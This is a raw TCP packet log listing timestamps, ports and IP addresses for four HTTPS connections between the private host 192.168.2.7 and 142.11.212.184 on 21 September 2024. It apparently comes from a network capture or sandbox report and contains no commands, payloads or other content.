Sep 21, 2024 14:45:32.378489017 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.378489017 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.379115105 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.379498005 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.413343906 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.413486958 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.413539886 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.413539886 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.413556099 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.413695097 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.413733006 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.413975000 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.414319992 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.414400101 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.414705038 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.414753914 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.414796114 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.414796114 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.414802074 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.415498018 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.431498051 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.466515064 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.466746092 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.466798067 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.466798067 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.466816902 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.467068911 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.467497110 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.467504025 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.467624903 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.467673063 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.468175888 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.468225956 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.468225956 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.468225956 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.468234062 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.468621969 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.469151974 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.469191074 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.469197989 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.469197989 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.469197989 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.469204903 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.469224930 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.470000029 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.470046043 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.470046043 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.470046043 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.470055103 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.470958948 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.499260902 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.504291058 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.504421949 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.505063057 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.505182981 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.505256891 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.505256891 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.505270958 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.505305052 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.505350113 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.505424023 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.505635023 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.505714893 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.505736113 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.505906105 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.557641983 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.558156013 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.558219910 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.558219910 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.558239937 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.558259010 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.558387995 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.558417082 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.558428049 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.559022903 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.559022903 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.559302092 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.559413910 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.559459925 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.559536934 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.559614897 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.559716940 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.559762955 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.559762955 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.559771061 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.560504913 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.560592890 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.560592890 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.560600996 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.560779095 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.560797930 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.560806036 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.560921907 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.560921907 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.595135927 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.595264912 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.595304012 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.595323086 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.595355034 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.595526934 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.595642090 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.595642090 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.595652103 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.595748901 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.595907927 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.595915079 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.596218109 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.596295118 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.596303940 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.596393108 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.596709013 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.596781015 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.648396969 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.648499012 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.648530006 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.648547888 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.648757935 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.648757935 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.648852110 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.648999929 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.649296999 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.649348974 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.649383068 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.649389029 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.649408102 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.649751902 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.649797916 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.649955034 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.650317907 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.650363922 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.650376081 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.650384903 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.650418043 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.650553942 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.651071072 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.651117086 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.651215076 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.651215076 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.651222944 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.651416063 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.685868979 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.686033964 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:32.895396948 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:32.895509005 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.072033882 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.072058916 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.072071075 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.072911978 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.072921038 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.072937012 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.074703932 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.074713945 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.074727058 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.074738026 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075139999 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.075146914 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075158119 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075170040 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075375080 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.075381041 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075400114 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075402975 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075546980 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.075553894 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075571060 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075576067 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.075579882 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.075663090 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.283396959 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.283495903 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:33.727400064 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:33.727504015 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.037936926 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.037955999 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:34.037967920 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:34.038336039 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.044666052 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.044672012 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:34.044683933 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:34.045758963 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.045767069 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:34.045917034 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.077522039 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.080637932 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.215919018 CEST	49700	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:34.215948105 CEST	443	49700	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:35.373944998 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:35.373992920 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:35.374062061 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:35.374375105 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:35.374387026 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:35.911839008 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:35.911916971 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:35.912509918 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:35.912523031 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:35.912759066 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:35.912765026 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.119874954 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.119904995 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.119942904 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.119972944 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.119988918 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.120017052 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.209899902 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.209983110 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.210741997 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.210804939 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.211487055 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.211546898 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.213031054 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.213102102 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.300430059 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.300524950 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.300766945 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.300847054 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.301624060 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.301687002 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.302494049 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.302553892 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.303404093 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.303464890 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.304316998 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.304384947 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.305130959 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.305201054 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.391072989 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.391140938 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.391485929 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.391544104 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.391762018 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.391820908 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.392371893 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.392433882 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.392784119 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.392834902 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.393224001 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.393280029 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.393671036 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.393729925 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.393894911 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.393942118 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.394664049 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.394726038 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.394941092 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.395020008 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.395587921 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.395646095 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.395849943 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.395901918 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.481481075 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.481559038 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.481957912 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.481997013 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.482023001 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.482034922 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.482069969 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.482084990 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.482597113 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.482650995 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.482724905 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.482765913 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.482773066 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.482791901 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.482815981 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.482846975 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.483103991 CEST	49701	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.483119011 CEST	443	49701	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.552700043 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.552748919 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:36.552819967 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.553067923 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:36.553080082 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.081043959 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.081173897 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.081665993 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.081681967 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.081876040 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.081882000 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.285911083 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.285943985 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.286000013 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.286029100 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.286052942 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.286106110 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.374316931 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.374484062 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.375128984 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.375334978 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.376166105 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.376247883 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.417814970 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.418040991 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.462769032 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.462872028 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.463258982 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.463336945 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.464157104 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.464230061 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.464839935 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.464919090 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.465748072 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.465821028 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.465847969 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.465893984 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.465909958 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.465945959 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.465953112 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.465985060 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.466686010 CEST	49702	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.466705084 CEST	443	49702	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.801506996 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.801554918 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:37.801613092 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.801994085 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:37.802006960 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.331573963 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.331631899 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.333144903 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.333152056 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.333319902 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.333327055 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.537333012 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.537395954 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.537399054 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.537425995 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.537453890 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.537483931 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.537497044 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.537530899 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.625634909 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.625747919 CEST	49703	443	192.168.2.7	142.11.212.184
Sep 21, 2024 14:45:38.625992060 CEST	443	49703	142.11.212.184	192.168.2.7
Sep 21, 2024 14:45:38.626050949 CEST	49703	443	192.168.2.7	142.11.212.184
